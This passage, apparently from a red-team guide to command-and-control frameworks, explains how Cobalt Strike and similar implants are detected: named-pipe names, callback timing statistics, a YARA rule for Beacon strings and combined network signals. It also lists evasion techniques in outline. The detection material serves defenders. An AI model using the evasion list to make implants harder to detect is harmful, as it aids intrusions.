Even modified profiles can be fingerprinted through structural analysis — the order of HTTP headers, the specific combination of encoding transforms, and metadata placement patterns can identify Cobalt Strike traffic even when surface-level indicators are changed.

Named Pipe Patterns

Named pipes are used extensively in C2 for both communication and post-exploitation:

Cobalt Strike’s default pipes: \\.\pipe\msagent_*, \\.\pipe\MSSE-*-server
SMB Beacon communication pipes
Post-exploitation job pipes (used by execute-assembly, BOFs, etc.)

Sysmon Event ID 17 (Pipe Created) and Event ID 18 (Pipe Connected) can be monitored for known malicious pipe names and suspicious patterns.

Sleep Pattern Analysis

Even with jitter, C2 callback patterns can be identified through statistical analysis:

Periodicity detection — Fourier analysis or autocorrelation of connection timestamps reveals the base sleep interval
Distribution analysis — The jitter distribution follows a predictable pattern (typically uniform random) that differs from human-driven web browsing
Volume anomalies — C2 callbacks generate consistent, regular traffic volumes regardless of time of day

Advanced network monitoring tools like RITA (Real Intelligence Threat Analytics) and AC-Hunter automate this analysis across enterprise network data.

Memory Signatures and YARA Rules

Endpoint detection tools scan process memory for known implant signatures:

rule CobaltStrike_Beacon_Strings
{
    meta:
        description = "Detects Cobalt Strike Beacon in memory"
        author = "Example"

    strings:
        $s1 = "beacon.dll" ascii
        $s2 = "beacon.x64.dll" ascii
        $s3 = "%s.4%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x%08x.%08x%08x%08x%08x%08x%08x" ascii
        $s4 = "%02d/%02d/%02d %02d:%02d:%02d" ascii
        $cfg = { 69 68 69 68 69 6B }

    condition:
        any of ($s*) or $cfg
}

Modern implants combat this through:

Encrypted sleep — Memory is encrypted when not actively executing
Module stomping — Overwriting legitimate DLL memory with implant code to appear as a known module
Reflective loading — Loading without standard PE loader, avoiding typical memory artifacts
String obfuscation — Encrypting or hashing all static strings

Network Signature Aggregation

No single network indicator is definitive. Effective C2 detection combines multiple weak signals:

JA3/JA4 fingerprint matching a known C2 library
Periodic callback pattern detected via statistical analysis
Connections to recently-registered or low-reputation domains
HTTP request/response size ratios inconsistent with the claimed content type
DNS query volumes or patterns consistent with tunneling
Certificate characteristics (self-signed, short-lived, mismatched CN)

When three or more of these signals correlate on the same network flow, the confidence of a true positive increases dramatically.

For a comprehensive list of C2 tools and their documentation links, see Tools Reference.

Summary

The C2 framework landscape reflects the ongoing arms race between offensive and defensive security. No single framework is universally superior — each represents a set of trade-offs between capability, stealth, cost, and complexity.

Cobalt Strike remains the industry standard with unmatched community tooling and Malleable C2 profiles, but its ubiquity makes it a primary target for detection engineering. Mythic offers unparalleled modularity for teams willing to invest in customization. Sliver provides the best balance of capability and accessibility for open-source users. Havoc pushes the boundary on EDR evasion for Windows targets. Brute Ratel represents the cutting edge of commercial evasion technology. Nighthawk serves the most demanding engagements with its custom tooling focus.

The most effective red teams do not rely on a single framework. They maintain proficiency across multiple tools, selecting the right one for each engagement based on the criteria outlined in this guide. They also invest in understanding detection methodologies — not just to evade them, but to help their blue team counterparts build more resilient defenses.

The future of C2 is moving toward custom development, cloud-native architectures, and traffic patterns that are indistinguishable from legitimate services. As EDR and network monitoring capabilities continue to advance, the frameworks that survive will be those that can adapt their evasion techniques as rapidly as defenders adapt their detection.